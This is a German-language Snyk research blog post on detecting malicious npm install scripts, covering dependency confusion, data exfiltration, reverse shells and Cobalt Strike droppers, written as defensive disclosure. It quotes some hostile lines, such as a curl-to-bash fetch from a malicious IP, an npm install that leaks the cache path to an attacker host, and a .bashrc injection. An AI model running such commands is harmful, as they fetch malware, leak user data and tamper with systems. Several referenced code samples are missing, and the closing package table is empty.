Snyk entdeckt über 200 schädliche npm-Pakete, darunter Dependency-Confusion-Angriffe mit Cobalt-Strike-Abhängigkeiten
Kirill Efimov
24. Mai 2022
0 Min. LesezeitSnyk hat kürzlich über 200 schädliche Pakete in der npm-Registry entdeckt. Wir wissen, dass die Alarmmüdigkeit bei Sicherheitslücken für Entwickler ein Problem ist. In diesem Artikel geht es jedoch nicht um die üblichen Fälle von Typosquatting oder zufälligen schädlichen Paketen. Stattdessen stellen wir gezielte Angriffe auf Unternehmen vor, die Snyk erkannt hat, und teilen unsere Erkenntnisse.
In diesem Beitrag erklären wir nicht, was Dependency Confusion ist und warum sie sich dramatisch auf das JavaScript-Ökosystem (und insbesondere die npm-Registry) auswirkt. Stattdessen konzentrieren wir uns auf den Ansatz von Snyk und darauf, welche schädlichen Pakete wir kürzlich entdeckt haben. Wenn Sie eine Einführung in Dependency Confusion und die damit verbundenen Risiken benötigen, empfehlen wir Ihnen Alex Birsans Artikel Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies sowie Snyks eigene Offenlegung einer gezielten Dependency-Attack-Simulation, die auf frischer Tat entdeckt wurde.
Außerdem möchten wir darüber sprechen, wie Bug-Bounty-Forschende und Red-Teamer zu einem verunreinigten npm-Ökosystem beitragen, falsche Sicherheitsmeldungen erzeugen und die Lage noch problematischer machen, als sie vor dem Aufkommen von Dependency-Confusion-Angriffsvektoren war.
In letzter Zeit konzentrieren sich viele Unternehmen auf die Supply-Chain-Sicherheit, wobei die Erkennung schädlicher Pakete eine wichtige Rolle spielt. Und wir sind sicher, dass npm dabei die meiste Aufmerksamkeit erhalten hat. Intern haben wir viel über npm diskutiert: Können wir bessere Ergebnisse erzielen als andere Anbieter, die regelmäßig über schädliche Pakete mit geringen Auswirkungen berichten? Wir beschlossen, es auszuprobieren und einen einfachen Ansatz umzusetzen, um herauszufinden, wie viele schädliche Pakete wir damit erkennen können. Anschließend haben wir den Ansatz lange optimiert. Als schließlich das 100. schädliche Paket in die Snyk Vulnerability Database aufgenommen wurde, wussten wir, dass wir darüber schreiben mussten. Doch zunächst sehen wir uns an, wie man schädliche Pakete in einer Registry wie npm aufspüren kann.
Schädliche Pakete in der npm-Registry finden
Zunächst mussten wir den Umfang und die Ziele dieser Sicherheitsforschung festlegen:
Wir haben uns ausschließlich auf schädliche Logik zur Installationszeit konzentriert. Also nur auf das, was während
npm installgeschieht. Schädliche Skripte zur Laufzeit liegen außerhalb des Untersuchungsumfangs und werden in einer künftigen Fallstudie behandelt.Die Anzahl falsch-positiver Signale sollte überschaubar bleiben. Wir legten fest, dass ein Sicherheitsanalyst alle Hinweise in höchstens einer Arbeitsstunde sichten können sollte.
Der Collector sollte modular sein. Er wurde bereits mehrfach weiterentwickelt und wird es auch weiterhin. Einige Erkennungstechniken kamen hinzu, andere wurden aufgrund von Punkt 2 entfernt.
Als ersten Ansatz entschieden wir uns für rein statische Analysen. Den dynamischen Teil behandeln wir in einer anderen Veröffentlichung.
Es ist wichtig festzulegen, was wir als schädliches Verhalten einstufen. Das Öffnen einer Reverse Shell oder das Ändern von Dateien außerhalb des Projektordners ist beispielsweise schädliches Verhalten.
Wir sind jedoch auch der Ansicht, dass ein Paket als schädlich gelten kann, wenn es personenbezogene Informationen (oder Daten, die personenbezogene Informationen enthalten können) exfiltriert. Beispiele:
Ein Paket sendet eine Geräte-GUID = nicht schädlich– Eine GUID enthält keine personenbezogenen Daten und wird häufig verwendet, um die eindeutige Anzahl der Paketinstallationen zu ermitteln.
Ein Paket sendet den Pfad des Anwendungsverzeichnisses = schädlich – Anwendungsverzeichnispfade enthalten häufig den Namen des aktuellen Benutzers, der aus Vor- und Nachnamen bestehen kann.
Das zugrunde liegende System besteht aus:
Scraping-Logik zum Abrufen von Informationen über neu hinzugefügte und geänderte Pakete.
Tagging-Logik, die Sicherheitsanalysten sinnvolle Metadaten bereitstellt.
Sortierlogik, um Hinweise auf schädliche Pakete anhand des vorherigen Schritts zu priorisieren.
Das Collector-System gibt YAML-Dateien aus, die als Datengrundlage für Hinweise dienen. Ein Sicherheitsanalyst prüft sie anschließend und ordnet sie einer von drei möglichen Kategorien zu:
Gut – Pakete ohne verdächtiges Verhalten. Sie dienen uns als Beispiele für nicht schädliches Verhalten.
Schlecht – Schädliche Pakete.
Ignoriert – Wahrscheinlich nicht schädliche Pakete, deren Verhalten zur Installationszeit jedoch zu verbreitet oder zu komplex ist, um als Muster für künftige Fälle zu dienen.
Aufklärung in der npm-Registry zum Sammeln von Paketinformationen
Gemäß unserer ersten Anforderung müssen wir alle neuen und aktualisierten Pakete berücksichtigen, sofern sie Installationsskripte wie preinstall, install oder postinstall enthalten.
Die npm-Registry verwendet im Hintergrund CouchDB. Über replicate.npmjs.com stellt sie CouchDB praktischerweise öffentlich zur Verfügung. Die Datenerfassung ist daher so einfach wie das Abfragen des Endpunkts _changes in aufsteigender Reihenfolge. Konkret:
Damit erhalten Sie eine Liste aktualisierter und neu erstellter Pakete ab der Ereignis-ID, die wir beim vorherigen Collector-Durchlauf erhalten haben.
Zusätzlich verwenden wir die Endpunkte https://registry.npmjs.org/, um Metadaten zu jedem Paket in der Liste abzurufen, und https://api.npmjs.org/downloads, um die Anzahl der Paket-Downloads zu ermitteln.
Bei der Datenerfassung gibt es nur einen kniffligen Teil: Wir möchten Installationsskripte aus einem Paket-Tarball extrahieren. Ein durchschnittlicher npm-Paket-Tarball ist weniger als ein Megabyte groß, manchmal sind diese Dateien jedoch riesig und mehrere Hundert Megabyte groß. Zum Glück sind TAR-Archive so strukturiert, dass wir sie als Stream verarbeiten können. Wir laden ein Paketarchiv einfach so lange herunter, bis wir die gesuchte Datei erhalten, und trennen dann die Verbindung. Das spart viel Zeit und Netzwerkverkehr. Dafür verwenden wir das npm-Paket tar-stream. An dieser Stelle möchten wir Mathias Buus danken, der wesentlich zur Entwicklung von JavaScript und Node.js beigetragen hat und zahlreiche Open-Source-npm-Pakete betreut, die Entwickler im Alltag unterstützen.
Schädliche Pakete in der npm-Registry kennzeichnen
Nun liegen uns alle Metadaten zum Paket vor: Versionsverlauf, Name des Maintainers, Inhalt der Installationsskripte, Abhängigkeiten und mehr. Wir können mit der Anwendung von Regeln beginnen. Hier zeige ich einige Regeln, die sich meiner Erfahrung nach besonders bewährt haben:
bigVersion– Wenn die Hauptversion eines Pakets mindestens 90 beträgt. Bei einem Dependency-Confusion-Angriff muss das herunterzuladende schädliche Paket eine höhere Version als das Original haben. Wie wir später sehen werden, haben schädliche Pakete häufig Versionen wie 99.99.99.yearNoUpdates– Ein Paket wird im laufenden Jahr zum ersten Mal aktualisiert. Dies ist ein wichtiges Signal dafür, dass ein Paket eine Weile nicht gepflegt und dann von einem Angreifer kompromittiert wurde.noGHTagLastVersion– Eine neue Paketversion hat im zugehörigen GitHub-Repository keinen Tag, obwohl die vorherige Version einen hatte. Dieses Signal greift, wenn ein npm-Benutzerkonto kompromittiert wurde, nicht aber ein GitHub-Konto.isSuspiciousFile– Wir verwenden eine Reihe regulärer Ausdrücke, um potenziell schädliche Installationsskripte zu erkennen. Sie erkennen gängige Verschleierungstechniken, die Verwendung von Domains wiecanarytokens.comoderngrok.io, Hinweise auf IP-Adressen und mehr.isSuspiciousScript– Eine Reihe regulärer Ausdrücke erkennt potenziell schädliche Skripte in der Datei package.json. Wie wir herausgefunden haben, wird beispielsweise“postinstall: “node .”häufig in schädlichen Paketen verwendet.
Das zugrunde liegende System verfügt über weitere Tags, aber die obige Liste vermittelt einen guten Eindruck von der Funktionsweise der Collector-Logik.
Daten zu npm-Paketen sortieren
Wir möchten den Prozess weiter automatisieren, statt Sicherheitsanalysten alles manuell prüfen zu lassen. Wurde ein Installationsskript in der Vergangenheit bereits als gut oder schlecht eingestuft, klassifizieren wir neue Fälle automatisch entsprechend. Das funktioniert vor allem bei nicht schädlichem Verhalten wie “postinstall”: “webpack” oder “postinstall”: “echo thanks for using please donate” und hilft, das Rauschen zu reduzieren.
Außerdem priorisieren wir bestimmte Tags, damit sie vor anderen bearbeitet werden, da sie eine höhere Trefferquote bei echten positiven Ergebnissen liefern. Die höchste Priorität haben isSuspiciousFile und isSuspiciousScript.
Manuelle Sicherheitsanalyse
Der letzte Schritt des Erkennungsprozesses ist die manuelle Analyse. Sie umfasst mehrere Phasen:
Automatisch sortierte und hoch priorisierte Hinweise überprüfen. Sie sind am ehesten schädlich. Nicht sortierte Hinweise einzeln durchgehen, um neue Regeln für schädliche oder nicht schädliche Fälle zu erkennen.
Die Collector-Logik entsprechend Punkt 2 aktualisieren.
Jedes schädliche Paket in die Snyk Vulnerability Database aufnehmen.
In manchen Fällen, etwa bei gxm-reference-web-auth-server, scheint ein Paket ungewöhnliche schädliche Logik zu enthalten. Dann investiert ein Analyst mehr Zeit in eine eingehende Analyse und teilt die Erkenntnisse mit der Community und den Snyk-Nutzern.
Mit diesem Ablauf können wir den Collector täglich verbessern und den Prozess automatisieren.
Welche schädlichen npm-Pakete konnten wir erkennen?
Bis heute hat das System mehr als 200 npm-Pakete mit eindeutig echten positiven Erkennungsergebnissen gefunden. Sie stellen außerdem eine konkrete Bedrohung durch Dependency-Confusion-Angriffe dar. Wir möchten diese Funde weiter kategorisieren und verschiedene Verhaltensweisen und Konzepte veranschaulichen, die Angreifer eingesetzt haben.
Schädliche Pakete, die Daten exfiltrieren
Eine der häufigsten Arten schädlicher Pakete ist die Datenexfiltration über HTTP- oder DNS-Anfragen. Oft handelt es sich um eine modifizierte, kopierte Version des ursprünglichen Skripts aus der Studie zu Dependency Confusion. Manchmal enthalten die Pakete Kommentare wie „Dieses Paket dient Forschungszwecken“ oder „Es werden keine sensiblen Daten abgerufen“. Lassen Sie sich davon nicht täuschen: Die Pakete sammeln personenbezogene Daten und senden sie über das Netzwerk. Das sollte niemals passieren.
Ein typisches Beispiel für ein solches Paket aus den Funden von Snyk:
Wir haben Versuche beobachtet, folgende Informationen zu exfiltrieren (von vergleichsweise harmlos bis am gefährlichsten sortiert):
Name des aktuellen Benutzers
Pfad zum Home-Verzeichnis
Pfad zum Anwendungsverzeichnis
Liste der Dateien in verschiedenen Verzeichnissen, etwa im Home- oder Anwendungsarbeitsverzeichnis
Ergebnis des Systembefehls
ifconfigDatei
package.jsonder AnwendungUmgebungsvariablen
Die Datei
.npmrc
Eine interessante Ergänzung zu dieser Gruppe schädlicher Pakete sind solche mit einem install-Skript wie npm install http://<malicious host>/tastytreats-1.0.0.tgz?yy=npm get cache. Damit wird eindeutig der Pfad zum npm-Cache-Verzeichnis exfiltriert, das sich üblicherweise im Home-Verzeichnis des aktuellen Benutzers befindet. Zusätzlich wird jedoch ein Paket aus einer externen Quelle installiert. Nach unserer Erfahrung handelt es sich bei diesem externen Paket stets um ein einfaches Dummy-Paket ohne Logik oder Dateien. Vielleicht gelten jedoch auf dem Server regionale oder andere Bedingungen, oder das Paket wird nach einiger Zeit zu einem Cryptominer oder Trojaner.
In einigen Fällen fanden wir Hinweise auf Bash-Skripte wie dieses:
Das oben gezeigte Skript exfiltriert Informationen zur öffentlichen IP-Adresse sowie den Hostnamen und Benutzernamen.
Schädliche Pakete, die eine Reverse Shell starten
Eine weitere häufige Art schädlicher Pakete versucht, eine Reverse Shell zu starten. Das bedeutet, dass sich der angegriffene Rechner mit einem Remote-Server des Angreifers verbindet und diesem die Fernsteuerung ermöglicht. Die Umsetzung kann so einfach sein:
Oder sie ist komplexer und verwendet net.Socket oder andere Verbindungsmethoden.
Die größte Herausforderung bei dieser Kategorie besteht darin, dass die Logik zwar einfach erscheint, das tatsächliche schädliche Verhalten jedoch vollständig auf der Serverseite des Angreifers verborgen bleibt. Dennoch lässt sich die Auswirkung erkennen: Ein Angreifer kann die vollständige Kontrolle über den Computer übernehmen, auf dem das schädliche Paket installiert ist.
Wir haben beschlossen, eines dieser Pakete in einer Sandbox auszuführen. Dabei haben wir die folgenden Befehle aufgezeichnet:
nohup curl -A O -o- -L http://<malicious IP>/dx-log-analyser-Linux | bash -s &> /tmp/log.out&– lädt ein Skript vom schädlichen Server herunter und führt es aus.Das vom schädlichen Server heruntergeladene Skript legte sich im Verzeichnis
/tmpab und fragte sich dann alle 10 Sekunden selbst ab, um auf Updates des entfernten Angreifers zu warten.Nach einiger Zeit lud es eine Binärdatei herunter, bei der es sich laut VirusTotal um einen Cobalt-Strike-Trojaner handelt.

Der Einsatz von Trojanern in schädlichen npm-Paketen
In dieser Kategorie finden sich verschiedene Pakete, die unterschiedliche Command-and-Control-Agenten installieren und ausführen. Eine ausführlichere Beschreibung würde den Rahmen dieses Artikels sprengen. Wir empfehlen Ihnen daher, unseren aktuellen Artikel zum Reverse Engineering des Pakets gxm-reference-web-auth-server zu lesen. Darin werden die Erkenntnisse aus der ethischen Red-Team-Recherche erläutert. Der Artikel ist zugleich ein gutes Beispiel dafür, was sich in npm-Paketen dieser Kategorie von Angriffen durch Dependency Confusion verbergen kann. Außerdem zeigt er anschaulich, wie ein Red Team bei der Arbeit aufgespürt werden kann.
In einem weiteren interessanten Fall überprüften wir die Systemaufrufe der Sandbox. Dabei fiel uns einer besonders auf: Er startete einen abgekoppelten Prozess und führte einen Warteaufruf für 30 Minuten aus. Erst danach begann er mit seinen schädlichen Aktivitäten.
Streiche und Proteste in npm-Paketen aufspüren
Im März haben wir einen Beitrag über Protestware-npm-Pakete veröffentlicht. Darüber hinaus beobachteten wir verschiedene Versuche, YouTube-Videos, nicht jugendfreie Videos und andere Websites im Browser zu öffnen oder entsprechende Befehle sogar in Ihre Datei .bashrc einzufügen.
Der Beispielcode kann so einfach sein wie open [https://www.youtube.com/watch?v=](https://www.youtube.com/watch?v=)<xxx> im Skript postinstall oder shell.exec(echo '\nopen https://<NSFW website>' >> ~/.bashrc) in einer JavaScript-Datei, die bei der Installation ausgeführt wird.
Ein weiteres potenziell schädliches Beispiel für ein Paket, das wir im Rahmen dieser Untersuchung entdeckt haben: Es prüft, ob eine Datei .npmrc vorhanden ist. Ist das der Fall, führt es npm publish aus und erstellt im Namen Ihres npm-Benutzers eine eigene Kopie. Wie Sie sehen, verhält es sich wie ein Wurm und kann unter bestimmten Umständen zu einer echten Bedrohung werden.
Fazit und Empfehlungen
Bei Snyk setzen wir uns jeden Tag dafür ein, Open-Source-Software-Ökosysteme sicherer zu machen. Heute haben wir einige Varianten schädlicher npm-Pakete vorgestellt, doch die Liste ist keineswegs vollständig. Unsere Untersuchungen haben gezeigt, dass das npm-Ökosystem aktiv für verschiedene Supply-Chain-Angriffe genutzt wird. Wir empfehlen Ihnen, Tools wie Snyk zu verwenden, um sich als Entwickler oder Maintainer sowie Ihre Anwendungen und Projekte zu schützen.
Wenn Sie als Bug-Bounty-Jäger oder Red Teamer für Aufklärungsaktivitäten ein npm-Paket veröffentlichen müssen, empfehlen wir Ihnen, die Nutzungsbedingungen und rechtlichen Vorgaben von npm einzuhalten. Exfiltrieren Sie auf keinen Fall personenbezogene Daten (PII) und geben Sie den Zweck des Pakets ausdrücklich an – entweder in Kommentaren im Quellcode oder in der Paketbeschreibung. Wir haben einige legitime Forschungspakete beobachtet, die eindeutige Gerätekennungen wie node-machine-id übermittelten.
Starten Sie mit Capture-the-Flag
Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.
Übersicht der zum Zeitpunkt der Veröffentlichung betroffenen Pakete
Abschließend möchten wir die Liste der Pakete veröffentlichen, die wir aufspüren konnten. Einige davon – möglicherweise sogar die meisten – wurden inzwischen aus der npm-Registry entfernt. Zum Zeitpunkt der Veröffentlichung dieser Untersuchung waren jedoch noch einige verfügbar.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
